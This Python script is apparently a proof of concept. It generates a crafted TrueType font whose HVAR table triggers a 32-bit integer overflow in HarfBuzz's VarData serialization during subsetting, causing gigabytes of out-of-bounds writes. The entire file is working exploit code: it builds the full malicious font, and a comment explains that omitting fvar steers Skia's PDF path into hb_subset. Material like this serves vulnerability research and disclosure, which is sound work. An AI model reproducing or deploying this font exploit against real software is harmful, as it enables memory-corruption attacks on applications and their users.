#!/usr/bin/env python3
"""
Generates a TrueType font with a malicious HVAR table that triggers an
integer overflow in HarfBuzz VarData::get_size() during subsetting.

The HVAR ItemVariationStore has a single VarData with:
  - itemCount = 1 (so source sanitize() passes with a single 196604-byte row)
  - wordSizeCount = 0xFFFF (longWords=1, wordCount=32767)
  - regionIndices.len = 65535
  - row 0 deltas: 70000 for r<32767 (HBINT32), 1 for r>=32767 (HBINT16)

The advMap/lsbMap/rsbMap DeltaSetIndexMaps map glyph g to inner indices
3g, 3g+1, 3g+2 (outer=0), so subsetting NUM_GLYPHS glyphs populates the
destination inner_map with NUM_GLYPHS*3 entries.

During VarData::serialize:
  itemCount = NUM_GLYPHS*3 = 21846
  row_size  = (32767 + 65535) * 2 = 196604
  itemCount * row_size = 4,295,010,984 -> wraps to 43,688 (32-bit unsigned)
  c->extend(this) allocates only ~175 KB
  the write loop then writes ~4.29 GB linearly past the allocation.
"""

import struct
import sys

NUM_GLYPHS = 7282           # 7282 * 3 = 21846 distinct inner indices
NUM_REGIONS = 65535
WORD_COUNT = 32767          # max wordCount (0x7FFF)
LONG_DELTA = 70000          # > 65535 -> forces has_long
SHORT_DELTA = 1             # nonzero -> region kept as kNonWord

def u8(v):  return struct.pack('>B', v)
def u16(v): return struct.pack('>H', v & 0xFFFF)
def i16(v): return struct.pack('>h', v)
def u32(v): return struct.pack('>I', v & 0xFFFFFFFF)
def i32(v): return struct.pack('>i', v)
def u64(v): return struct.pack('>Q', v)
def tag(s): return s.encode('ascii')

# ---------------------------------------------------------------------------
# HVAR
# ---------------------------------------------------------------------------

def build_var_region_list():
    # axisCount=1, regionCount=NUM_REGIONS, then regionCount*axisCount records
    # of {startCoord, peakCoord, endCoord} F2DOT14. Values irrelevant.
    out = bytearray()
    out += u16(1)             # axisCount
    out += u16(NUM_REGIONS)   # regionCount
    # F2DOT14 triple per region per axis: use (-1.0, 0.5, 1.0) -> nonzero peak
    rec = i16(-16384) + i16(8192) + i16(16384)
    out += rec * NUM_REGIONS
    return bytes(out)

def build_var_data():
    out = bytearray()
    out += u16(1)                       # itemCount = 1
    out += u16(0x8000 | WORD_COUNT)     # wordSizeCount = LONG_WORDS|32767
    out += u16(NUM_REGIONS)             # regionIndices.len
    # regionIndices[r] = r (each region distinct)
    out += b''.join(u16(r) for r in range(NUM_REGIONS))
    # delta bytes: 1 row of row_size = (32767+65535)*2 = 196604 bytes
    #   first WORD_COUNT regions are HBINT32 -> 32767*4 = 131068 bytes
    #   remaining (NUM_REGIONS-WORD_COUNT)=32768 regions are HBINT16 -> 65536 bytes
    out += i32(LONG_DELTA) * WORD_COUNT
    out += i16(SHORT_DELTA) * (NUM_REGIONS - WORD_COUNT)
    return bytes(out)

def build_item_variation_store():
    region_list = build_var_region_list()
    var_data = build_var_data()
    # header: format(u16) regionsOff(u32) dataSetCount(u16) dataSetOff[0](u32)
    hdr_size = 2 + 4 + 2 + 4
    regions_off = hdr_size
    vardata_off = hdr_size + len(region_list)
    out = bytearray()
    out += u16(1)               # format
    out += u32(regions_off)     # offset to VarRegionList
    out += u16(1)               # dataSets.len
    out += u32(vardata_off)     # dataSets[0] offset
    out += region_list
    out += var_data
    return bytes(out)

def build_delta_set_index_map(base):
    # format0: format(u8) entryFormat(u8) mapCount(u16) mapData[mapCount*width]
    # entryFormat: ((width-1)<<4) | (innerBitCount-1); width=2, innerBitCount=16
    out = bytearray()
    out += u8(0)                # format 0
    out += u8(0x1F)             # entryFormat: width=2, innerBitCount=16
    out += u16(NUM_GLYPHS)      # mapCount
    for g in range(NUM_GLYPHS):
        out += u16(3 * g + base)      # outer=0 (top 0 bits), inner = 3g+base
    return bytes(out)

def build_hvar():
    ivs = build_item_variation_store()
    adv = build_delta_set_index_map(0)
    lsb = build_delta_set_index_map(1)
    rsb = build_delta_set_index_map(2)
    hdr_size = 4 + 4 + 4 + 4 + 4
    ivs_off = hdr_size
    adv_off = ivs_off + len(ivs)
    lsb_off = adv_off + len(adv)
    rsb_off = lsb_off + len(lsb)
    out = bytearray()
    out += u32(0x00010000)      # version 1.0
    out += u32(ivs_off)
    out += u32(adv_off)
    out += u32(lsb_off)
    out += u32(rsb_off)
    out += ivs
    out += adv
    out += lsb
    out += rsb
    return bytes(out)

# ---------------------------------------------------------------------------
# Other tables (minimal but valid enough for hb_subset plan creation)
# ---------------------------------------------------------------------------

def build_head():
    out = bytearray()
    out += u32(0x00010000)      # version
    out += u32(0x00010000)      # fontRevision
    out += u32(0)               # checkSumAdjustment
    out += u32(0x5F0F3CF5)      # magicNumber
    out += u16(0)               # flags
    out += u16(1000)            # unitsPerEm
    out += u64(0)               # created
    out += u64(0)               # modified
    out += i16(0); out += i16(0); out += i16(1000); out += i16(1000)  # bbox
    out += u16(0)               # macStyle
    out += u16(8)               # lowestRecPPEM
    out += i16(2)               # fontDirectionHint
    out += i16(0)               # indexToLocFormat (short)
    out += i16(0)               # glyphDataFormat
    return bytes(out)

def build_hhea():
    out = bytearray()
    out += u32(0x00010000)
    out += i16(800); out += i16(-200); out += i16(0)  # asc/desc/linegap
    out += u16(1000)            # advanceWidthMax
    out += i16(0); out += i16(0); out += i16(1000)    # minLSB/minRSB/xMaxExtent
    out += i16(1); out += i16(0); out += i16(0)       # caretSlopeRise/Run/Offset
    out += i16(0)*4             # reserved
    out += i16(0)               # metricDataFormat
    out += u16(NUM_GLYPHS)      # numberOfHMetrics
    return bytes(out)

def build_maxp():
    out = bytearray()
    out += u32(0x00010000)      # version 1.0 (TrueType)
    out += u16(NUM_GLYPHS)
    out += u16(0)*13            # all zero
    return bytes(out)

def build_hmtx():
    # numberOfHMetrics entries of {advanceWidth(u16), lsb(i16)}
    return (u16(500) + i16(0)) * NUM_GLYPHS

def build_loca():
    # short format: (numGlyphs+1) u16 offsets, all zero -> all glyphs empty
    return u16(0) * (NUM_GLYPHS + 1)

def build_glyf():
    return b'\x00'  # placeholder; loca says all glyphs are 0-length

def build_post():
    out = bytearray()
    out += u32(0x00030000)      # version 3.0 (no glyph names)
    out += u32(0)               # italicAngle
    out += i16(0); out += i16(0)
    out += u32(0)               # isFixedPitch
    out += u32(0)*4
    return bytes(out)

def build_name():
    # minimal name table with 0 records
    return u16(0) + u16(0) + u16(6)

def build_os2():
    out = bytearray()
    out += u16(4)               # version
    out += i16(500)             # xAvgCharWidth
    out += u16(400); out += u16(5)  # weight/width
    out += u16(0)               # fsType
    out += i16(0)*10            # subscript/superscript/strikeout
    out += i16(0)               # sFamilyClass
    out += b'\x00'*10           # panose
    out += u32(0)*4             # ulUnicodeRange
    out += tag('POC ')          # achVendID
    out += u16(0x0040)          # fsSelection (REGULAR)
    out += u16(0x20); out += u16(0xFFFF)  # usFirst/LastCharIndex
    out += i16(800); out += i16(-200); out += i16(0)  # typo asc/desc/linegap
    out += u16(800); out += u16(200)  # winAscent/Descent
    out += u32(0)*2             # ulCodePageRange
    out += i16(500); out += i16(0)  # sxHeight/sCapHeight
    out += u16(0); out += u16(0); out += u16(0)
    return bytes(out)

CMAP_BASE = 0x4E00  # CJK Unified Ideographs - plain characters, no special shaping

def build_cmap():
    # format 12 segmented coverage: CMAP_BASE+1 .. CMAP_BASE+NUM_GLYPHS-1 -> gid 1..N-1
    # (gid 0 left unmapped as proper .notdef; hb_subset auto-includes it)
    nGroups = 1
    fmt12 = bytearray()
    fmt12 += u16(12); fmt12 += u16(0)
    fmt12_len = 16 + 12 * nGroups
    fmt12 += u32(fmt12_len)
    fmt12 += u32(0)             # language
    fmt12 += u32(nGroups)
    fmt12 += u32(CMAP_BASE + 1); fmt12 += u32(CMAP_BASE + NUM_GLYPHS - 1); fmt12 += u32(1)
    fmt12 = bytes(fmt12)
    # cmap header: version, numTables, then encoding records
    hdr = bytearray()
    hdr += u16(0); hdr += u16(1)
    hdr += u16(3); hdr += u16(10); hdr += u32(4 + 8)  # platform 3, enc 10, offset
    return bytes(hdr) + fmt12

def build_fvar():
    # 1 axis 'wght' 100..900 default 400, 0 instances
    axis_off = 16
    out = bytearray()
    out += u32(0x00010000)
    out += u16(axis_off)        # offset to axes array
    out += u16(2)               # reserved (countSizePairs)
    out += u16(1)               # axisCount
    out += u16(20)              # axisSize
    out += u16(0)               # instanceCount
    out += u16(4)               # instanceSize
    # axis record
    out += tag('wght')
    out += u32(100 << 16)       # min
    out += u32(400 << 16)       # default
    out += u32(900 << 16)       # max
    out += u16(0)               # flags
    out += u16(256)             # axisNameID
    return bytes(out)

# ---------------------------------------------------------------------------

def checksum(data):
    while len(data) % 4: data += b'\x00'
    s = 0
    for i in range(0, len(data), 4):
        s = (s + struct.unpack('>I', data[i:i+4])[0]) & 0xFFFFFFFF
    return s

def build_font():
    # Note: we deliberately OMIT 'fvar'. If fvar is present, FreeType sets
    # FT_FACE_FLAG_MULTIPLE_MASTERS -> Skia sets kVariable_FontFlag ->
    # SkPDFFont::FontType() forces Type3 fallback -> SkPDFSubsetFont/hb_subset
    # is never called. HarfBuzz happily subsets HVAR without fvar
    # (all_axes_pinned defaults to false when user_axes_location is empty).
    tables = {
        'head': build_head(),
        'hhea': build_hhea(),
        'maxp': build_maxp(),
        'hmtx': build_hmtx(),
        'loca': build_loca(),
        'glyf': build_glyf(),
        'cmap': build_cmap(),
        'post': build_post(),
        'name': build_name(),
        'OS/2': build_os2(),
        'HVAR': build_hvar(),
    }
    tags = sorted(tables.keys())
    n = len(tags)
    sr = 1
    while sr * 2 <= n: sr *= 2
    es = sr.bit_length() - 1
    sr *= 16
    rs = n * 16 - sr

    hdr = bytearray()
    hdr += u32(0x00010000)
    hdr += u16(n); hdr += u16(sr); hdr += u16(es); hdr += u16(rs)

    offset = 12 + 16 * n
    recs = bytearray()
    body = bytearray()
    for t in tags:
        data = tables[t]
        recs += tag(t)
        recs += u32(checksum(data))
        recs += u32(offset)
        recs += u32(len(data))
        body += data
        while len(body) % 4: body += b'\x00'
        offset = 12 + 16 * n + len(body)
    return bytes(hdr) + bytes(recs) + bytes(body)

if __name__ == '__main__':
    out = sys.argv[1] if len(sys.argv) > 1 else 'poc.ttf'
    data = build_font()
    with open(out, 'wb') as f:
        f.write(data)
    print(f'wrote {out} ({len(data)} bytes)')
    # sanity-check the overflow arithmetic
    item_count = NUM_GLYPHS * 3
    row_size = (WORD_COUNT + NUM_REGIONS) * 2
    full = item_count * row_size
    wrapped = full & 0xFFFFFFFF
    print(f'itemCount={item_count} row_size={row_size} '
          f'product={full} wrapped32={wrapped} (overflow={full > 0xFFFFFFFF})')
